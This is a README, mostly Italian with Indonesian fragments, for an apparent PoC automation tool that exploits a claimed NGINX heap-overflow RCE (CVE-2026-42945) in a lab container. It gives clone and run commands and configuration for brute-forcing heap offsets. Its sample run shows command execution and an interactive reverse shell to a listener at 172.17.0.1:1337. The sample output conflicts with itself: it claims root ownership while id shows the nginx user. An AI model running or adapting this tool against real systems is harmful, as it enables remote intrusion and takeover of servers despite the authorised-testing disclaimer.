
Automatizza lo sfruttamento di CVE-2026-42945 nei container NGINX: verifica i target vulnerabili, effettua brute force sugli offset dell'heap, esegue comandi e apre una reverse shell interattiva.
Driver di automazione PoC per l'exploit RCE del container nginx-rift · Verifica del target → Exploit a comando singolo → Reverse-shell interattiva
Un singolo comando orchestra l'intero flusso dell'exploit — dalla verifica del container fino all'ottenimento della shell.
⚠️ Avvertenza etica e legale Questo strumento è esclusivamente per test di sicurezza legittimi e autorizzati — pentest su contratto, lab/CTF o risorse proprie. L'uso senza il permesso del proprietario del sistema costituisce reato (UU ITE, Computer Fraud and Abuse Act, ecc.). L'utente è pienamente responsabile del proprio utilizzo.
CVE-2026-42945 è una vulnerabilità di Remote Code Execution (RCE) nella configurazione NGINX "Rift" — un bug di heap-based buffer overflow nel modulo ngx_http_rewrite_module innescato tramite uno specifico location block (/api/users/...). L'impatto è che un attaccante può eseguire comandi tramite il gestore system() all'interno del container.
| Item | Detail |
|---|---|
| CVE | CVE-2026-42945 |
| Tipo | Remote Code Execution (RCE) |
| Componente | NGINX (ngx_http_rewrite_module) — configurazione "Rift" |
| Innesco | Richiesta al location block vulnerabile (/api/users/{id}) |
| Impatto | Esecuzione arbitraria di comandi come utente worker NGINX all'interno del container |
| Setup del lab | Container nginx-rift-nginx-1 — porta host 19321 |
Questo repository contiene 2 componenti:
| File | Funzione |
|---|---|
poc.py | Driver dell'exploit — brute-force dell'heap offset, due modalità: --cmd (comando singolo) e --shell (reverse shell) |
scan.sh | Orchestratore di automazione — verifica del target, esecuzione del PoC, verifica dei risultati e sessione shell interattiva |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
Operatore (host su cui viene eseguito lo script):
docker (con sudo o utente nel gruppo docker)python3 + poc.py (nella stessa directory di scan.sh)curl, nc (netcat), timeout (coreutils)Target (lab):
nginx-rift già attivo (provisioning tramite docker compose)19321 aperta su 127.0.0.1172.17.0.1 per il listener dell'host)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
scan.sh e poc.py devono trovarsi nella stessa directory.
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto (predefinita)--cmd — scrive il marker hello from depthfirst in /tmp/pwned all'interno del container (retry automatico max 3×, timeout 300s/tentativo).docker exec cat /tmp/pwned deve contenere il marker (ground-truth, non solo lettura dell'output).y per la sessione interattiva.shell./scan.sh shell
Esegue poc.py --shell con listener 172.17.0.1:1337. Dopo il successo del brute-force, ricevi un prompt /bin/sh interattivo come utente worker NGINX all'interno del container.
Nota: l'IP
172.17.0.1è l'indirizzo host sul bridge Docker predefinito. Se il tuo bridge è diverso (docker network inspect bridge), modifica la variabileLISTEN_IPnella parte superiore discan.sh.
Tutti i parametri sono raggruppati nel blocco di configurazione in cima a scan.sh:
| Variabile | Default | Funzione |
|---|---|---|
DOCKER | sudo docker | Sostituisci docker se l'utente è già nel gruppo docker |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | Filtro di identificazione del container |
CONTAINER | nginx-rift-nginx-1 | Nome del container target |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | Indirizzo del target |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | Listener della reverse shell |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | Verifica dell'esecuzione |
CMD_TIMEOUT | 300 | Timeout per tentativo (secondi) |
MAX_ATTEMPTS | 3 | Numero di retry del PoC --cmd |
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
| Problema | Soluzione |
|---|---|
Container ... tidak berjalan | cd <project-dir> && sudo docker compose up -d, quindi riprova |
HTTP 000 / connection refused | Porta 19321 non ancora pronta — attendi qualche secondo, controlla docker ps |
File 'poc.py' tidak ditemukan | Esegui scan.sh dalla directory del repo (poc.py deve trovarsi nella stessa directory) |
PoC --cmd fallisce ripetutamente (3×) | Aumenta MAX_ATTEMPTS / CMD_TIMEOUT; assicurati che kernel e versione di NGINX corrispondano al lab |
| La reverse shell non si connette | Controlla che LISTEN_IP corrisponda al bridge (docker network inspect bridge); assicurati che la porta 1337 non sia occupata |
Errore unrecognized arguments | Assicurati che la versione di poc.py supporti i flag --listen-ip/--listen-port (vedi python3 poc.py -h) |